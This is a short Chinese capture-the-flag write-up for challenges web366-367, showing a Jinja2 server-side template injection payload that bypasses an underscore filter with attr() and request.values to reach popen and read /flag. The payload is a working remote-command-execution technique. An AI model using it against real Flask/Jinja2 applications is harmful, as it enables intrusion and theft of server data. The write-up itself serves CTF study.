web366-367
首先进行简单过滤测试在365题基础上增加了过滤_

使用attr加request进行绕过
//attr()获取对象属性
payload:
?name={{()|attr(request.values.class)|attr(request.values.base)|attr(request.values.sub)()|attr(request.values.geti)(132)|attr(request.values.ini)|attr(request.values.glo)|attr(request.values.geti)(request.values.po)(request.values.cat)|attr(request.values.read)()}}&class=__class__&base=__base__&sub=__subclasses__&geti=__getitem__&ini=__init__&glo=__globals__&po=popen&cat=cat /flag&read=read
//最后read不用传入read()之传入函数名,jinja2会自动加括号调用

367同366

浙公网安备 33010602011771号